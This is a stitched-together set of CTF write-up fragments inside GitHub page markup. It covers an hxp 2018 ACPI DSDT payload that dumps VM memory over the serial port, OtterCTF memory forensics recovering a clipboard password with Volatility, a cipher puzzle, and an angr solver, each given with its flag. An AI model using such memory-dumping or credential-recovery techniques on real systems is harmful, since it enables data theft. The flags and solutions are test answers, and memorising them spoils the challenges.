<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>hxp CTF 2018</span></span><span>/</span>pwn game<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>hxp CTF 2018</span></span><span>/</span>pwn game<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/tree-commit/1c47fb1fb361cd62e314ab6d919e0892f33f8efc/hxp%20CTF%202018/pwn%20game" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/0n3m4ns4rmy/ctf-write-ups/file-list/master/hxp%20CTF%202018/pwn%20game"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
[https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-2](https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-2)
* create a method to write to the serial port* dump the ram disk containing the init.gz* extract flag
```haskellDefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000002){ Scope (\) { OperationRegion (DBG, SystemIO, 0x3f8, One) Field (DBG, ByteAcc, NoLock, Preserve) { DBGB, 8 }
Method (DBUG, 2, NotSerialized) { Local1 = Arg1 Local2 = Zero While ((Local2 < Local1)) { DBGB = DerefOf (Arg0 [Local2]) Local2++ } }
Method (_INI, 0, NotSerialized) { OperationRegion (PWN1, SystemMemory, 0x538df000, 0x1000) Field (PWN1, AnyAcc, NoLock, Preserve) { MEM1, 0x8000, }
DBUG(MEM1, 0x1000) } }}``` |
# Silly RickPoints: 100
Description:```Silly rick always forgets his email's password, so he uses a Stored Password Services online to store his password. He always copy and paste the password so he will not get it wrong. whats rick's email password?```
# Solution:
Rick used stored password services and used copy and paste. Sounds like a job for `clipboard`
```$ python vol.py -f OtterCTF.vmem --profile=Win7SP1x64 clipboardVolatility Foundation Volatility Framework 2.6Session WindowStation Format Handle Object Data ---------- ------------- ------------------ ------------------ ------------------ -------------------------------------------------- 1 WinSta0 CF_UNICODETEXT 0x602e3 0xfffff900c1ad93f0 M@il_Pr0vid0rs 1 WinSta0 CF_TEXT 0x10 ------------------ 1 WinSta0 0x150133L 0x200000000000 ------------------ 1 WinSta0 CF_TEXT 0x1 ------------------ 1 ------------- ------------------ 0x150133 0xfffff900c1c1adc0 ```
##### Flag: CTF{M@il_Pr0vid0rs} |
You have a PDF file and TXT file with coords like ```451, 8962, 1302...```
It is obvious that the first number is a page and maybe the second is a char?
Decoding the PDF file:
```import PyPDF2
reader = PyPDF2.PdfFileReader('history.pdf')num = reader.numPages
out = ''
for key in open('PDFuck.txt').readlines(): tokens = key.split(',') kf = int(tokens[0].strip()) ks = int(tokens[1].strip()) page = reader.getPage(kf) txt = page.extractText() out += txt[ks] print out```
Output:```Q29uZ3JhdHVsYXRpb25zISBpZiB5b3UgbWFkZSBpdCB0aGF0IGZhciB0aGF0IG1lYW5zIGVpdGhlciB5b3UgYXJlIG9uZSBtb3RpdmF0ZWQgYmFzdGVyZWQsIG9yIHlvdSBrbm93IHB5dGhvbiAtXy0uLi4gQW55d2F5Li4uIGZvbGxvdyB0aGlzIGxpbmsgOiBodHRwczovL3d3dy55b3V0dWJlLmNvbS93YXRjaD92PWY3c3h3SExSS0tnDQpoaW50OiAuLi0uIC4tLi4gLi0gLS0uIC8gLi0tLiAuLS4uIC4uLSAuLi4gLyAuLS0tLSAtLS0uLi4gLS0tLS0gLS0tLi4gLS4uLi4tIC4tLS0tIC0tLS4uLiAuLS0tLSAtLS0uLiAvIC4tLi4gLS0tIC4tLSAuIC4tLiAtLi0uIC4tIC4uLiAuIC8gLi0tIC4uIC0gLi4uLiAvIC4uLSAtLiAtLi4gLiAuLS4gLi4uIC0uLS4gLS0tIC4tLiAuIC8gLi0gLi4uIC8gLi4uIC4tLS4gLi0gLS4tLiAuIC4uLiAvIC4tLSAuLS4gLi0gLi0tLiAuLS0uIC4gLS4uIC8gLi0tIC4uIC0gLi4uLiAvIC0uLS4gLi4tIC4tLiAuLS4uIC0uLS0gLyAtLi4uIC4tLiAuLSAtLi0uIC0uLSAuIC0gLi4u```
Base64 - decode:```Congratulations! if you made it that far that means either you are one motivated bastered, or you know python -_-... Anyway... follow this link : https://www.youtube.com/watch?v=f7sxwHLRKKghint: ..-. .-.. .- --. / .--. .-.. ..- ... / .---- ---... ----- ---.. -....- .---- ---... .---- ---.. / .-.. --- .-- . .-. -.-. .- ... . / .-- .. - .... / ..- -. -.. . .-. ... -.-. --- .-. . / .- ... / ... .--. .- -.-. . ... / .-- .-. .- .--. .--. . -.. / .-- .. - .... / -.-. ..- .-. .-.. -.-- / -... .-. .- -.-. -.- . - ...```
Morse:```FLAG PLUS 1:08-1:18 LOWERCASE WITH UNDERSCORE AS SPACES WRAPPED WITH CURLY BRACKETS```
The song lyrics: [https://www.flashlyrics.com/lyrics/box-codax/i-swam-with-the-otter-03](https://www.flashlyrics.com/lyrics/box-codax/i-swam-with-the-otter-03)
`flag{i_swam_with_the_otter_and_we_played_in_the_pool}` |
We have a message with strange chinese characters, but it looks like there is a repeating pattern.
Replaced chinese unicode symbols:
```AB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEAB_CDEAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEAB_CDEAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEAB_CDEAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEAB_CDEAB_CDEAB_CDEFGH_IJK_LMNAB_CDEAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMNAB_CDEAB_CDEAB_CDEFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNFGH_IJK_LMNAB_CDEFGH_IJK_LMN```
Note that the space is a part of code (replaced by underscore).
The cipher key (we've tried to replace the pattern little by little A, AB, AB_, ...):```AB_CDE = 0FGH_IJK_LMN = 1```
Solved cipher:```0110011001101100011000010110011101111011001100000111010001110100011001010111001001110011010111110101001001011111010101000110100001100101010111110100001000110011011100110111010001111101```
184 / 8 = 23 ASCII chars
Decoded ASCII:
`flag{0tters_R_The_B3st}` |
# Description
```I hope you do not need more than three lines of python to solve this.```
# Solution
I got a binary and the hint that it is solvable with the symbolic execution framework "angr".After using taking a small overview with r2 I figured it only had two paths, one which lead to ":)" in stdout and multiple jumps to ":(".
So I used angr to search for ':)'
```pythonimport angrimport claripy
proj = angr.Project('angrme')simgr = proj.factory.simgr()simgr.explore(find=lambda s: b":)" in s.posix.dumps(1))s = simgr.found[0]print(s.posix.dumps(0))```
Flag: hxp{4nd_n0w_f0r_s0m3_r3al_ch4ll3ng3} |
[https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/CallMeRick/readme.md](https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/CallMeRick/readme.md) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
